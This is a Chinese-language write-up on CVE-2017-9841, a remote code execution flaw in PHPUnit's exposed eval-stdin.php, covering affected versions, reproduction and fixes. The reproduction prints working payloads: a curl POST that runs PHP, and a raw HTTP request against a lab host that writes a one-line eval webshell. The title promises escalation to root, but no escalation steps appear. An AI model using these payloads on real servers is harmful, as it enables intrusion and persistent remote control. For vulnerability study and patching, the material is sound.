CVE-2017-9841 到 root 提权
CVE-2017-9841
# x00 漏洞概述
漏洞是出在 phpunit,可以使用 composer 安装。composer 是 php 包管理工具,使用 composer 安装扩展包将会在当前目录创建一个 vendor 文件夹,并将所有文件放在其中。通常这个目录需要放在 web 目录外,使用户不能直接访问。
phpunit 是 php 中的单元测试工具,其 4.8.19 ~ 4.8.27 和 5.0.10 ~ 5.6.2 版本的 vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 文件有如下代码:
eval('?>'.file_get_contents('php://input')); |
如果该文件被用户直接访问到,将造成远程代码执行漏洞。
PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架,通常 phpunit 使用 composer 非常流行的 PHP 依赖管理器进行部署,将会在当前目录创建一个 vendor 文件夹.phpunit 生产环境中仍然安装了它,如果该编写器模块存在于 Web 可访问目录,则存在远程代码执行漏洞。
访问
http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
使用 POST 方法传递一段以 “<?php” 开头的木马。
直接 POST 一句话木马。
例如:
<?=file_put_contents("1.php", '<?=eval($_REQUEST[1]);?>'); |
即可远程连接。
或者用 curl 命令连接传入木马。
例如,执行以下一段代码即可输出 pi 的值。
curl -XPOST --data “<?php echo(pi());” http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
# x01 影响范围
phpunit 4.8.19 - 4.8.27 | |
phpunit 5.0.10 - 5.6.2 |
# x02 复现
漏洞位于 /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval(’?>’.file_get_contents(‘php://input’));
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 | |
Host: 192.168.15.130:8080 | |
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 | |
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 | |
Accept-Language: en-US,en;q=0.5 | |
Accept-Encoding: gzip, deflate | |
Connection: close | |
Cookie: phpMyAdmin=kQNMsJ02WvJVFPRjybK8UKVgUyc | |
Upgrade-Insecure-Requests: 1 | |
Content-Length: 15 | |
<?=phpinfo();?> | |
<?=file_put_contents("1.php", '<?=eval($_REQUEST[1]);?>');// 木马未写成功 |

# x03 漏洞背景
# x04 漏洞原理
PHPUnit 是面向程序员的 PHP 测试框架。
Util/PHP/eval-stdin.php 在 4.8.28 之前的 PHPUnit 和 5.6.3 之前的 5.x 中允许远程攻击者通过以 <?php 子字符串开头的 HTTP POST 数据执行任意 PHP 代码,如对具有暴露的 /vendor 文件夹的站点的攻击(即外部访问)所证明的到 /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI。
# x05 修复方案
生产环境直接删掉 phpunit
升级 phpunit
设置权限,禁止访问该目录